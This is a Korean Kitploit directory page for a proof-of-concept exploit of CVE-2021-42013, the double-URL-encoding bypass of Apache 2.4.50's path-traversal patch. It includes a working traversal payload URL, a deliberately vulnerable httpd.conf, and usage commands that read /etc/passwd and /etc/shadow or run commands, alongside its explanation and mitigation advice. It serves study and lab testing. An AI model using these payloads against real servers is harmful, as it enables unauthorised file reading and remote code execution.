Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-42013 — CVE-2021-42013에 대한 개념 증명 익스플로잇으로, Apache 2.4.50에서 CVE-2021-41773 패치의 이중 URL 인코딩 우회를 통해 경로 탐색 및 원격 코드 실행을 보여줍니다. | Kitploit
도구/GitHubGitHub/joapath/cve-2021-42013
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubjoapath/cve-2021-42013

CVE-2021-42013

CVE-2021-42013에 대한 개념 증명 익스플로잇으로, Apache 2.4.50에서 CVE-2021-41773 패치의 이중 URL 인코딩 우회를 통해 경로 탐색 및 원격 코드 실행을 보여줍니다.

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-42013 — PoC: 패스 트래버설 + mod_cgi를 통한 RCE (패치 우회)

통제된 자체 환경에서만 사용하십시오. 승인되지 않은 시스템에 사용하지 마십시오.


설명

CVE-2021-42013을 시연하기 위해 개발된 PoC로, Apache HTTP Server 2.4.50에 존재합니다.

이 CVE는 Apache가 CVE-2021-41773에 대해 발표한 패치의 우회입니다. 2.4.50 버전은 이전의 경로 트래버설을 수정하기 위해 .%2e 및 %2e. 시퀀스를 거부하는 검증을 추가했습니다. 그러나 이 검증은 불충분했습니다. 동일한 결과가 이중 URL 인코딩으로 얻어질 수 있다는 점을 고려하지 않아 동일한 공격 표면이 노출된 상태로 남았습니다.


CVE-2021-41773과의 관계

CVE-2021-41773CVE-2021-42013
영향을 받는 버전Apache 2.4.49Apache 2.4.50
사용된 인코딩.%2e/%%32%65%%32%65/
메커니즘단일 인코딩이중 인코딩 (패치 우회)
RCE 가능예 (mod_cgi 사용 시)예 (mod_cgi 사용 시)
수정된 버전2.4.50 (불완전한 패치)2.4.51

2.4.50 패치가 실패한 이유

Apache 2.4.50 패치는 요청 경로에서 .%2e 및 %2e. 시퀀스를 문자 그대로 찾는 ap_normalize_path() 검증을 추가했습니다. 이를 발견하면 400 또는 403으로 요청을 거부했습니다.

문제점: 해당 검증은 두 번째 URL 디코딩 패스 전에 문자열에 대해 실행되었습니다. 페이로드가 이중으로 인코딩된 경우, 검증은 금지된 시퀀스를 찾지 못했습니다. 아직 디코딩되지 않았기 때문입니다. 그리고 최종적으로 파일시스템 경로를 확인하기 위해 디코딩될 때 이미 ../가 존재하여 트래버설이 동일하게 발생했습니다.

root@kitploit:~
Payload:          %%32%65%%32%65/
2.4.50 검증이 찾는 것: .%2e → 찾지 못함 → 통과시킴
첫 번째 디코딩:   %%32%65%%32%65/ → %2e%2e/
두 번째 디코딩:   %2e%2e/         → ../
결과:        트래버설 성공

실제 수정은 2.4.51에서 이루어졌으며, Apache는 보안 검증을 적용하기 전에 경로를 완전히 해결하도록 정규화 로직을 다시 작성했습니다.


이중 인코딩 — 작동 방식

%%32%65는 .의 이중 인코딩된 표현입니다:

root@kitploit:~
.  →  %2e  (표준 인코딩)
%  →  %25  (% 기호 인코딩)
2  →  %32  ('2' 문자 인코딩)
e  →  %65  ('e' 문자 인코딩)

따라서 %2e의 %가 인코딩되고 16진수 문자가 인코딩되어 %%32%65가 됩니다.

%%32%65의 첫 번째 디코딩은 %2e를 생성합니다. 두 번째는 .을 생성합니다.


필요한 조건

조건세부사항
Apache 버전정확히 2.4.50
액세스 지시문노출된 디렉토리에 Require all granted
CGI 모듈mod_cgi 활성화 (RCE에만 필요)

테스트 환경

root@kitploit:~
# 취약한 구성을 가진 Apache 2.4.50 이미지
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

또는 Apache 2.4.50을 수동으로 설치하고 httpd.conf에 다음 구성을 추가합니다:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

스크립트 사용법

root@kitploit:~
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

인수

예시

root@kitploit:~
# /etc/passwd 읽기
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# id 실행
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# 공백이 포함된 명령
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

예상 출력 — traversal 모드

root@kitploit:~
============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Bypass del parche de CVE-2021-41773 via doble encoding
  PoC con fines educativos — Solo en entornos propios
============================================================

[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...

[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
...

예상 출력 — rce 모드

root@kitploit:~
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

완화 방법

  • Apache를 2.4.51 이상 버전으로 업데이트하십시오.
  • Require all denied를 기본값으로 유지하십시오.
  • 필요하지 않으면 mod_cgi를 비활성화하십시오.
  • 패치가 완전하다고 검토 없이 신뢰하지 마십시오. 2.4.51의 diff 분석에 따르면 실제 수정은 전체 정규화 로직을 다시 작성해야 했습니다.

참조

  • NVD — CVE-2021-42013
  • Apache HTTP Server — 보안 권고
  • Qualys — CVE-2021-41773 및 CVE-2021-42013 분석

교육 목적으로 개발된 PoC이며, 공격 보안 포트폴리오용입니다.

도구 다운로드
인수필수설명
--target예서버 기본 URL (예: http://localhost:8080)
--mode예traversal: 파일 읽기, rce: 명령 실행
--cmd아니요rce 모드에서 실행할 명령 (기본값: id)